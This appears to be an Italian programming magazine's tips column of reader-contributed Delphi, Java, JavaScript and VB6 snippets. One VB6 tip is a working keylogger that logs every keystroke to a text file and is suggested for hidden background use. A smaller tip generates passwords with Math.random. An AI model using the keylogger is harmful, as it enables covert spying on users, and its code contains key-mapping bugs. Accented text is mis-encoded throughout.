Tips&Tricks I trucchi del mestiere

 

Come muovere un componente a runtime

In alcuni programmi ci si trova di fronte alla necessità di poter dare all'utente la possibilità di muovere uno o più componenti a run-time. Tutto può essere fatto grazie a due sole righe di codice inserite nell'evento ONMOUSEMOVE; di seguito sono mostrati due stralci di codice applicati a un pulsante (Button1) e a un controllo edit (Edit1) posti su una form vuota (Form1)
Tip fornito dal sig. G. Dottarelli

procedure TForm1.Button1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
ReleaseCapture;
Button1.Perform(WM_SYSCOMMAND, $F012,0);
end;
 
procedure TForm1.Edit1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
ReleaseCapture;
Edit1.Perform(WM_SYSCOMMAND, $F012,0);
end;


Copia dei file "visuale"

Utilizzando un componente come il TProgressBar, si può realizzare una form per la copia di file da una directory ad un'altra.
Tip fornito dal sig. A. Silvano

procedure TForm1.CopyFileWithProgressBar1(Source, Destination: string); 
var 
  FromF, ToF: file of byte; 
  Buffer: array[0..4096] of char; 
  NumRead: integer; 
  FileLength: longint; 
begin 
  AssignFile(FromF, Source); 
  reset(FromF); 
  AssignFile(ToF, Destination); 
  rewrite(ToF); 
  FileLength := FileSize(FromF); 
  with Progressbar1 do 
  begin 
    Min := 0; 
    Max := FileLength; 
    while FileLength > 0 do 
    begin 
      BlockRead(FromF, Buffer[0], SizeOf(Buffer), NumRead); 
      FileLength := FileLength - NumRead; 
      BlockWrite(ToF, Buffer[0], NumRead); 
      Position := Position + NumRead; 
    end; 
    CloseFile(FromF); 
    CloseFile(ToF); 
  end; 
end; 

procedure TForm1.Button1Click(Sender: TObject); 
begin 
  CopyFileWithProgressBar1('c:\Windows\Welcome.exe', 'c:\temp\Welcome.exe'); 
end; 


Come inviare messaggi tramite il servizio Messenger

Tip fornito dal sig. A.Silvano

function NetSend(dest, Source, Msg: string): Longint; overload; 
type 
  TNetMessageBufferSendFunction = function(servername, msgname, fromname: PWideChar; 
    buf: PWideChar; buflen: Cardinal): Longint;  
  stdcall; 
var 
  NetMessageBufferSend: TNetMessageBufferSendFunction; 
  SourceWideChar: PWideChar; 
  DestWideChar: PWideChar; 
  MessagetextWideChar: PWideChar; 
  Handle: THandle; 
begin 
  Handle := LoadLibrary('NETAPI32.DLL'); 
  if Handle = 0 then 
  begin 
    Result := GetLastError; 
    Exit; 
  end; 
    @NetMessageBufferSend := GetProcAddress(Handle, 'NetMessageBufferSend'); 
  if @NetMessageBufferSend = nil then 
  begin 
    Result := GetLastError; 
    Exit; 
  end; 

  MessagetextWideChar := nil; 
  SourceWideChar      := nil; 
  DestWideChar        := nil; 

  try 
    GetMem(MessagetextWideChar, Length(Msg) * SizeOf(WideChar) + 1); 
    GetMem(DestWideChar, 20 * SizeOf(WideChar) + 1); 
    StringToWideChar(Msg, MessagetextWideChar, Length(Msg) * 
      SizeOf(WideChar) + 1); 
    StringToWideChar(Dest, DestWideChar, 20 * SizeOf(WideChar) + 1); 
    if Source = '' then 
      Result := NetMessageBufferSend(nil, DestWideChar, nil, 
        MessagetextWideChar, Length(Msg) * SizeOf(WideChar) + 1) 
    else 
    begin 
      GetMem(SourceWideChar, 20 * SizeOf(WideChar) + 1); 
      StringToWideChar(Source, SourceWideChar, 20 * SizeOf(WideChar) + 1); 
      Result := NetMessageBufferSend(nil, DestWideChar, SourceWideChar, 
        MessagetextWideChar, Length(Msg) * SizeOf(WideChar) + 1); 
      freemem(SourceWideChar); 
    end; 
  finally 
    FreeMem(MessagetextWideChar); 
    FreeLibrary(Handle); 
  end; 
end; 

function NetSend(Dest, Msg: string): Longint; overload; 
begin 
  Result := NetSend(Dest, '', Msg); 
end; 

function NetSend(Msg: string): Longint; overload; 
begin 
  Result := NetSend('', '', Msg); 
end; 

// Esempio 

procedure TForm1.Button1Click(Sender: TObject); 
begin 
  NetSend('LoginName', 'Proprio Messaggio'); 
end;


Identificare l'indirizzo IP del proprio PC

Un semplice ma utile tip che permette di identificare l'indirizzo IP del computer su cui si sta lavorando. L'indirizzo IP, alla pressione di un pulsante, viene messo in una TextBox. Trovate un'applicazione d'esempio su: www.itportal.it/ioProg70/Tips o sul supporto CD-Rom. Tip fornito dal sig. Roberto Grassi

procedure TForm1.Button1Click(Sender: TObject);
// Mettere uses Winsock nella 'interface'
function Ip:String;
var WSAData : TWSAData;
    HostName: String;
    HostEnt : PHostEnt;
begin
 WSAStartup(2, WSAData);
 SetLength(HostName, 255);
 GetHostName(PChar(HostName), 255);
 SetLength(HostName, StrLen(PChar(HostName)));
 HostEnt := GetHostByName(PChar(HostName));
 with HostEnt^ do
  begin
   Result := Format('%d.%d.%d.%d',
                        [Byte(h_addr^[0]),
                         Byte(h_addr^[1]),
                         Byte(h_addr^[2]),
                         Byte(h_addr^[3])]);
   WSACleanup;
  end;
end;
 
begin
 Edit1.Text:=Ip;
end;


Come effettuare il merging delle proprietα


Capita spesso di dover configurare delle proprietα della Java Virtual Machine affinchΘ le nostre applicazioni girino in maniera appropriata: ad esempio jdbc.drivers (per specificare la classe del driver JDBC da utilizzare, ad esempio "sun.jdbc.odbc.JdbcOdbcDriver") oppure parametri tipici della nostra applicazione, come la stringa JDBC per effettuare la connessione (ad esempio "jdbc:odbc:miodb"). Tipicamente, questo compito viene assolto in due modi:
Tip fornito dal sig. G.Guarnieri.
1) Specificando i valori direttamente nel codice, usando ad esempio
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");

ci≥ comporta lo svantaggio che per modificare il valore del parametro occorre ricompilare, con effetti negativi sulla manutenibilitα e riusabilitα del codice;

2) Passare il parametro sulla riga di comando come in:

java -Djdbc.drivers=sun.jdbc.odbc.JdbcOdbcDriver MiaClasse

In questo modo per≥ si obbliga l'utente a dover ricordare una stringa molto lunga e poco intuitiva per il lancio dell'applicazione oppure si Φ tenuti a costruire degli script di shell (dipendenti quindi dal sistema operativo) per far partire il programma.
Un modo pi∙ "pulito" per risolvere ambedue i problemi pu≥ essere quello di spostare la definizione delle proprietα in un file ".properties", in modo da poterlo facilmente editare con qualunque editor di testo, e mescolare queste proprietα a quelle di sistema durante l'avvio della nostra applicazione. Ecco un metodo che effettua proprio l'operazione di merging delle proprietα:


private static void mergeProperties(String propFile) {
    Properties p = new Properties(System.getProperties());

    try {
        p.load(MiaClasse.class.getResourceAsStream(propFile));
        System.setProperties(p);
    } catch (IOException e) {
        e.printStackTrace();
    }
}

in cui:
    ╖ MiaClasse rappresenta il nome della classe di cui il metodo mergeProperties fa parte; dovrebbe essere la classe principale dell'applicazione (quella col metodo "main", per intederci)

    ╖ propFile Φ il nome del file ".properties" creato precedentemente, che deve trovarsi nella stessa cartella del file"MiaClasse.class" il metodo mergeProperties deve essere il primo richiamato nel main, per far si che ogni altra azione che richieda un valore di proprietα lo trovi opportunamente impostato:
public static void main(String[] argv) {
   MiaClasse.mergeProperties("NomeDelFileDiProprieta.properties");
   ...
}



Un po' di Reflection all'opera.


Due classi che dato il nome di una classe, passato come argomento completo di package (per esempio provate la java.lang.String), mostrano gli attributi, i costruttori e i metodi da questa contenuta, oltre al package di appartenenza, eventuali interfacce implementate e classe estesa. Le due classi si differenziano nel fatto che la seconda estrae la lista dei parametri dei metodi e dei costruttori, e non si limita a visualizzarne la dichiarazione (cosa che fa la prima classe).
Trovate l'applicazione completa su: www.itportal.it/ioProg70/Tips o sul supporto CD-Rom allegato alla rivista.
Tips Tip fornito dal sig. M.Catena


Una "questione" sui "questionari"

All'interno di una pagina HTML ci sono delle domande che prevedono una serie di risposte multiple con un numero massimo di risposte per ogni domanda. Il problema Φ di verificare che, per ogni gruppo, non siano state selezionate pi∙ delle risposte previste. La prima soluzione Φ quella trattare le risposte come un array di checkbox e di verificare quante sono "flaggate" con un semplice loop in javascript (nei siti dedicati al JavaScript sono reperibili numerosi esempi). Questa soluzione, in alcuni casi, rende molto pi∙ difficile gestire la generazione della pagina HTML e la memorizzazione dei risultati per i successivi trattamenti delle informazioni.
La funzione verifica tutte le checkbox presenti nel form e, tra quelle selezionate, tiene conto solo di quelle in cui la cui parte iniziale del nome coincide con il parametro passato in input alla funzione, restituendo solo il numero delle voci selezionate. Il risultato Φ utilizzato per effettuare due controlli: uno che verifica che sia stata fornita la risposta alla domanda e l'altro per verificare che non siano state selezionate pi∙ voci di quelle previste.
Trovate un'applicazione d'esempio su: www.itportal.it/ioProg70/Tips o sul supporto CD-Rom.
Tip fornito dal sig. F. Dall'Agnol

function ContaSelez (cllocheckbox) {
    //calcola il numero di chebox con un certo prefisso che sono selezionati
    //presuppone che il form si chiami fQuest e che i caratteri da confrontare siano solo i primi 6
    var numscelte = 0;
    for (x=0;x<window.document.forms('fQuest').elements.length;x++)
      { if (window.document.forms('fQuest').elements(x).name.substr(0,6) == cllocheckbox ) {
         if (window.document.forms('fQuest').elements(x).checked  ) {
           numscelte = numscelte + 1;
          }
     }
   }
    return numscelte;
  } 

Come aggiungere una voce ai preferiti

Chi utilizza Microsoft Internet Explorer pu≥ aggiungere un sito tra i "preferiti" semplicemente attraversando un collegamento costruito alla seguente maniera.
Tip fornito da Carlo Pelliccia

<a href="#" onclick="window.external.AddFavorite('http://www.indirizzo.it' 

Oggetti in JavaScript

Non tutti lo sanno, ma Φ possibile creare in JavaScript degli oggetti personalizzati, da utilizzare poi all'interno del proprio codice:
Tip fornito da Carlo Pelliccia

function Persona(nome,cognome) 
{
  this.nome = nome;
  this.cognome = cognome;
}

A questo punto Φ possibile istanziare l'oggetto Persona:

var p = new Persona("Mario","Rossi");

I campi dell'oggetto possono essere sfruttati attraverso la classica notazione puntata:
alert(p.nome + " " + p.cognome);
 

Password casuale

Con JavaScript, soprattutto se utilizzato lato-server, pu≥ tornare utile la generazione di una password casuale. La seguente funzione realizza quanto occorre, prendendo in ingresso il numero di lettere che deve comporre la password e restituendo una stringa della lunghezza prestabilita, generata casualmente. All'interno della stringa caratteriValidi vanno specificati, uno dietro l'altro, tutti i caratteri che possono entrare a far parte della password.
Tip fornito da Carlo Pelliccia

function randomPass(n) {
  caratteriValidi = "";
  caratteriValidi += "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  caratteriValidi += "abcdefghijklmnopqrstuvwxyz";
  caratteriValidi += "0123456789";

  temp = "";
  for (i=0;i<n;i++) {
    casuale = Math.floor(Math.random() * caratteriValidi.length);
    temp += caratteriValidi.charAt(casuale);
  }
  return temp;
}
 


Come salvare in un file di testo qualunque tasto digitato in Windows


Un utile tip per monitorare costantemente le "mosse" dell'utilizzatore del PC. Grazie a questo semplice ma funzionale codice, Φ possibile realizzare applicazioni in grado di monitorare e salvare in un file di testo tutti caratteri digitati sulla tastiera del proprio PC; con qualche ritocco l'applicazione pu≥ essere adattata per lavorare in background ed in modo trasparente all'utente.
Nell'esempio si fa uso di un controllo Timer (Timer1) posto sul form principale del progetto.
Tip fornito dal sig. A.Morelli

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim Tasto_Digitato As Long
Dim text2 As String

Private Sub Timer1_Timer()
      Tasto_Digitato = GetAsyncKeyState(vbKeyA)
      If Tasto_Digitato = -32767 Then text2 = text2 & "a"
      Tasto_Digitato = GetAsyncKeyState(vbKeyB)
      If Tasto_Digitato = -32767 Then text2 = text2 & "b"
      Tasto_Digitato = GetAsyncKeyState(vbKeyC)
      If Tasto_Digitato = -32767 Then text2 = text2 & "c"
      Tasto_Digitato = GetAsyncKeyState(vbKeyD)
      If Tasto_Digitato = -32767 Then text2 = text2 & "d"
      Tasto_Digitato = GetAsyncKeyState(vbKeyE)
      If Tasto_Digitato = -32767 Then text2 = text2 & "e"
      Tasto_Digitato = GetAsyncKeyState(vbKeyF)
      If Tasto_Digitato = -32767 Then text2 = text2 & "f"
      Tasto_Digitato = GetAsyncKeyState(vbKeyG)
      If Tasto_Digitato = -32767 Then text2 = text2 & "g"
      Tasto_Digitato = GetAsyncKeyState(vbKeyH)
      If Tasto_Digitato = -32767 Then text2 = text2 & "h"
      Tasto_Digitato = GetAsyncKeyState(vbKeyI)
      If Tasto_Digitato = -32767 Then text2 = text2 & "i"
      Tasto_Digitato = GetAsyncKeyState(vbKeyJ)
      If Tasto_Digitato = -32767 Then text2 = text2 & "j"
      Tasto_Digitato = GetAsyncKeyState(vbKeyK)
      If Tasto_Digitato = -32767 Then text2 = text2 & "k"
      Tasto_Digitato = GetAsyncKeyState(vbKeyL)
      If Tasto_Digitato = -32767 Then text2 = text2 & "l"
      Tasto_Digitato = GetAsyncKeyState(vbKeyM)
      If Tasto_Digitato = -32767 Then text2 = text2 & "m"
      Tasto_Digitato = GetAsyncKeyState(vbKeyN)
      If Tasto_Digitato = -32767 Then text2 = text2 & "n"
      Tasto_Digitato = GetAsyncKeyState(vbKeyO)
      If Tasto_Digitato = -32767 Then text2 = text2 & "o"
      Tasto_Digitato = GetAsyncKeyState(vbKeyP)
      If Tasto_Digitato = -32767 Then text2 = text2 & "p"
      Tasto_Digitato = GetAsyncKeyState(vbKeyQ)
      If Tasto_Digitato = -32767 Then text2 = text2 & "q"
      Tasto_Digitato = GetAsyncKeyState(vbKeyR)
      If Tasto_Digitato = -32767 Then text2 = text2 & "r"
      Tasto_Digitato = GetAsyncKeyState(vbKeyS)
      If Tasto_Digitato = -32767 Then text2 = text2 & "s"
      Tasto_Digitato = GetAsyncKeyState(vbKeyT)
      If Tasto_Digitato = -32767 Then text2 = text2 & "t"
      Tasto_Digitato = GetAsyncKeyState(vbKeyU)
      If Tasto_Digitato = -32767 Then text2 = text2 & "u"
      Tasto_Digitato = GetAsyncKeyState(vbKeyV)
      If Tasto_Digitato = -32767 Then text2 = text2 & "v"
      Tasto_Digitato = GetAsyncKeyState(vbKeyW)
      If Tasto_Digitato = -32767 Then text2 = text2 & "w"
      Tasto_Digitato = GetAsyncKeyState(vbKeyX)
      If Tasto_Digitato = -32767 Then text2 = text2 & "x"
      Tasto_Digitato = GetAsyncKeyState(vbKeyY)
      If Tasto_Digitato = -32767 Then text2 = text2 & "y"
      Tasto_Digitato = GetAsyncKeyState(vbKeyZ)
      If Tasto_Digitato = -32767 Then text2 = text2 & "b"
      Tasto_Digitato = GetAsyncKeyState(vbKey1)
      If Tasto_Digitato = -32767 Then text2 = text2 & "1"
      Tasto_Digitato = GetAsyncKeyState(vbKey2)
      If Tasto_Digitato = -32767 Then text2 = text2 & "2"
      Tasto_Digitato = GetAsyncKeyState(vbKey3)
      If Tasto_Digitato = -32767 Then text2 = text2 & "3"
      Tasto_Digitato = GetAsyncKeyState(vbKey4)
      If Tasto_Digitato = -32767 Then text2 = text2 & "5"
      Tasto_Digitato = GetAsyncKeyState(vbKey6)
      If Tasto_Digitato = -32767 Then text2 = text2 & "6"
      Tasto_Digitato = GetAsyncKeyState(vbKey7)
      If Tasto_Digitato = -32767 Then text2 = text2 & "7"
      Tasto_Digitato = GetAsyncKeyState(vbKey8)
      If Tasto_Digitato = -32767 Then text2 = text2 & "8"
      Tasto_Digitato = GetAsyncKeyState(vbKey9)
      If Tasto_Digitato = -32767 Then text2 = text2 & "9"
      Tasto_Digitato = GetAsyncKeyState(vbKey0)
      If Tasto_Digitato = -32767 Then text2 = text2 & "0"
                  
      Tasto_Digitato = GetAsyncKeyState(vbKeySpace)
      If Tasto_Digitato = -32767 Then text2 = text2 & " "
            Tasto_Digitato = GetAsyncKeyState(vbKeyReturn)
      If Tasto_Digitato = -32767 Then text2 = text2 & vbCr
      Tasto_Digitato = GetAsyncKeyState(vbKeyBack)
      If Tasto_Digitato = -32767 Then text2 = Mid(text2, 1, Len(text2) - 1)
      
    Scrivi_Su_File (text2)
    Tasto_Digitato = 0
End Sub

Function Scrivi_Su_File(Carattere As String)
   Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0
   Dim fso, f, ts
   Set fso = CreateObject("Scripting.FileSystemObject")
   ' Creazione del file.
   fso.CreateTextFile "c:\MappaCaratteri.txt"
   Set f = fso.GetFile("c:\MappaCaratteri.txt")
   Set ts = f.OpenAsTextStream(2, TristateUseDefault)
   ts.Write Carattere
   ts.Close
End Function

Un controllo ListView "colorato"

Spesso il controllo ListiView viene utilizzato per creare dei report (entrate, uscite, saldi, prezzi), nasce pertanto l'esigenza di visualizzare le righe in cui sono presenti questi dati con un determinato colore di sfondo. L'applicazione proposta consente di ottenere questa funzionalitα ricorrendo a tecniche di subclassing. Trovate l'applicazione completa su: www.itportal.it/ioProg70/Tips o sul supporto CD-Rom allegato alla rivista \Tips Tip fornito dal sig. P.Libro


Form in trasparenza


Il tip proposto illustra come impostare la trasparenza di un form in Visual Basic 6 attraverso alcune chiamate API, in particolare il progetto mostra come materializzare un form aumentando di volta in volta il grado di opacità dello stesso.
Tip fornito dal sig. E.Di Santo

' Window Transparency ;)
' by    Emanuele Di Santo
' Via:  Fabio Rulliano 19
' Cap:  00175 ROMA
'-------------------------
' Nell'esempio si presuppone che sul FrmMain sia posto un controllo Timer denominato Timer1
Option Explicit

'Api..
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Boolean
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long

'Constanti
Const LWA_ALPHA = 2
Const GWL_EXSTYLE = (-20)
Const WS_EX_LAYERED = &H80000


'Variabli
Public bytTransparency As Byte  'Trasparenza form
Public bIsFormLoaded As Boolean
'

Private Sub Form_Click()
bIsFormLoaded = False
Timer1.Enabled = True
End Sub

Private Sub Form_Load()
SetWindowLong hwnd, GWL_EXSTYLE, GetWindowLong(hwnd, GWL_EXSTYLE) Or WS_EX_LAYERED
bytTransparency = 0
bIsFormLoaded = True
End Sub

Private Sub Timer1_Timer()

If bIsFormLoaded = True Then

    If bytTransparency >= 252 Then Timer1.Enabled = False
    bytTransparency = bytTransparency + 3
    SetLayeredWindowAttributes hwnd, 0, bytTransparency, LWA_ALPHA

Else

    If bytTransparency = 3 Then Timer1.Enabled = False: End
    bytTransparency = bytTransparency - 3
    SetLayeredWindowAttributes hwnd, 0, bytTransparency, LWA_ALPHA

End If

End Sub